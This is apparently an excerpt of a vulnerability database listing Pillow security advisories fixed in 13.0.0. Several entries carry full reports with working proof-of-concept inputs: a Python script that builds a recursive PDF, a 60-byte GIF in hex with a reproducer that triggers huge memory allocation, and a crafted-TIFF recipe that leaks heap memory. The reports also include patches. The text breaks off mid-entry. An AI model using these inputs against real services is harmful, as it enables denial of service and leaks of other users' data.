["GHSA-9v9v-9qvf-h2hj", "CVE-2026-96644"], "description": "Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4334", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112896", "GHSA-pchr-8j38-3x4p"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4337", "fix_versions": ["13.0.0"], "aliases": ["GHSA-p8hx-v2p6-rp84", "CVE-2026-96636"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, MpoImageFile.seek() and DcxImageFile.seek() reparse later MPO or DCX frames and replace self._size without rerunning Image._decompression_bomb_check(). A crafted multi-frame image can use a tiny first frame to pass Image.open() and then declare an over-limit later frame. Normal frame iteration through seek(), load(), or ImageSequence.Iterator can decode that frame and commit hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4341", "fix_versions": ["13.0.0"], "aliases": ["GHSA-3j72-p6qg-6xp7", "CVE-2026-96642"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4330", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112398", "GHSA-5x8w-8jj5-q52h"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4338", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96637", "GHSA-g842-9rc4-69pw"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4335", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112901", "GHSA-xgh8-jp6q-p5x8"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's XBM header parser is vulnerable to regular-expression denial of service. In XbmImageFile._open, when an application calls Image.open() on a small crafted XBM file, XbmImagePlugin applies a backtracking expression to the attacker-controlled header before image dimensions are accepted, stalling a worker for minutes and denying service. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4336", "fix_versions": ["13.0.0"], "aliases": ["GHSA-654x-cwwv-5j9c", "CVE-2026-114501"], "description": "Pillow is a Python imaging library. From 11.2.1 until 13.0.0, Arrow export assumes that an image's rows are tightly contiguous and exports from im->blocks[0].ptr even when PILLOW_ALIGNMENT makes aligned_linesize include row padding or an aligned offset before the first row. The resulting Arrow buffer can include uninitialized padding, bytes preceding the first row, or stale heap contents from previously freed images. Applications that configure alignment and export images to Arrow can therefore disclose one user's pixels or other process memory to another user. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4331", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112402", "GHSA-7mwm-ghpf-9vrm"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4332", "fix_versions": ["13.0.0"], "aliases": ["GHSA-8g5g-8vmr-9782", "CVE-2026-112403"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4329", "fix_versions": ["13.0.0"], "aliases": ["GHSA-58r4-6rv3-gfh8", "CVE-2026-112397"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4333", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112405", "GHSA-cp9v-662q-vvx9"], "description": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4342", "fix_versions": ["13.0.0"], "aliases": ["GHSA-g4qv-2jxx-769h", "CVE-2026-96643"], "description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0."}, {"id": "CVE-2026-112895", "fix_versions": ["13.0.0"], "aliases": ["GHSA-p4wg-p73j-c528"], "description": "### Summary When an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b\"<< /Type /Catalog /Pages 2 0 R >>\", 2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\", 3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\", } buf = bytearray(b\"%PDF-1.4\\n\") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\" xref = len(buf) buf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" buf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3)) buf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref open(\"poc.pdf\", \"wb\").write(buf) PdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers."}, {"id": "CVE-2026-112400", "fix_versions": ["13.0.0"], "aliases": ["GHSA-65qm-jvmh-6pqg"], "description": "``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070. In the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in (\"RGB\", \"RGBA\"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000\u00d720000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\" storage), 96\u00d7 the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1\u00d71). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` \u2014 a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` \u2014 and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error threshold). A real 1\u00d71 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ## Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ## The reproducer
Reproducer \u2014 repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b\",\" + struct.pack(\" LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = \"completed\" except MemoryError: outcome = \"MemoryError at the 3 GiB cap\" after = peak_rss_mib() print(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB\") ballooned = after - before > 1000 print(\"BUG\" if poisoned and ballooned else \"OK\") ```
---"}, {"id": "CVE-2026-112897", "fix_versions": ["13.0.0"], "aliases": ["GHSA-q45j-58j2-45rg"], "description": "``` ============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256\u00d7256 TIFF whose single strip or tile is a 256\u00d78 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8\u2013255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width \u00d7 `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ## Details `src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and then copies all `RowsPerStrip` rows of that buffer into the image whenever `TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256\u00d7256, `BitsPerSample=8`, `Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data is a baseline JPEG of 256\u00d7**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(\u2026,\"JPEG\")`). `Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0\u20137 of the result are the JPEG content (value 200); the remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's `MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the fresh-`malloc` fill byte), and in a process that has just freed buffers containing `b\"LEAK\"` they contain 15872 copies of `LEAK`. Feeding the same file to libtiff 4.5.0 directly confirms the library side: `TIFFReadEncodedStrip(t, 0, buf, 65536)` prints `JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`, returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs `TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either. The strip path: ```c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() \u2026 state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { \u2026 if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { \u2026 return -1; } \u2026 // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { \u2026 shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); ``` `state->buffer` arrives here as the one-row `calloc` made by `decode.c:230` (`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the nominal strip size on success, not the number of rows produced, and the only check is `== -1`, so the row loop unconditionally copies 256 rows \u00d7 256 bytes into `im->image` (which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`). `_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then `tile_length` rows copied after each `TIFFReadTile()` at 460\u2013488). For a well-formed file the JPEG inside the strip is 256\u00d7256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode` (`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512\u00d7256 1-bit TIFF whose strip is the Group 4 stream of a 512\u00d716 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises `OSError` for those. The strip path was introduced in `e91b851fdc1c` (\"Add reading old-JPEG compressed TIFFs\", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()` (where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy. The tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02, Pillow 5.3.0). ## Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to `ImageWidth \u00d7 RowsPerStrip \u00d7 SamplesPerPixel` bytes per strip and tens of MB per image within the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ## Reproducing `repro` is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it prints is `BUG` or `OK`. **Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header declares a 256\u00d7256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip (`RowsPerStrip=256`) or as one 256\u00d7256 tile (`TileWidth`/`TileLength`). The strip or tile is a baseline JPEG of 256\u00d7`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full strip/tile size as success. **Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just before `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with `b\"LEAK\"`, which leaves freed heap chunks about the size of the buffer that `_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8\u2013255 it then counts copies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under `MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports `BUG` if a crafted file shows any `LEAK` in the normal pass, or rows 8\u2013255 entirely `0x55` in the perturbed pass. **Expected output on this tree:** ``` [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, 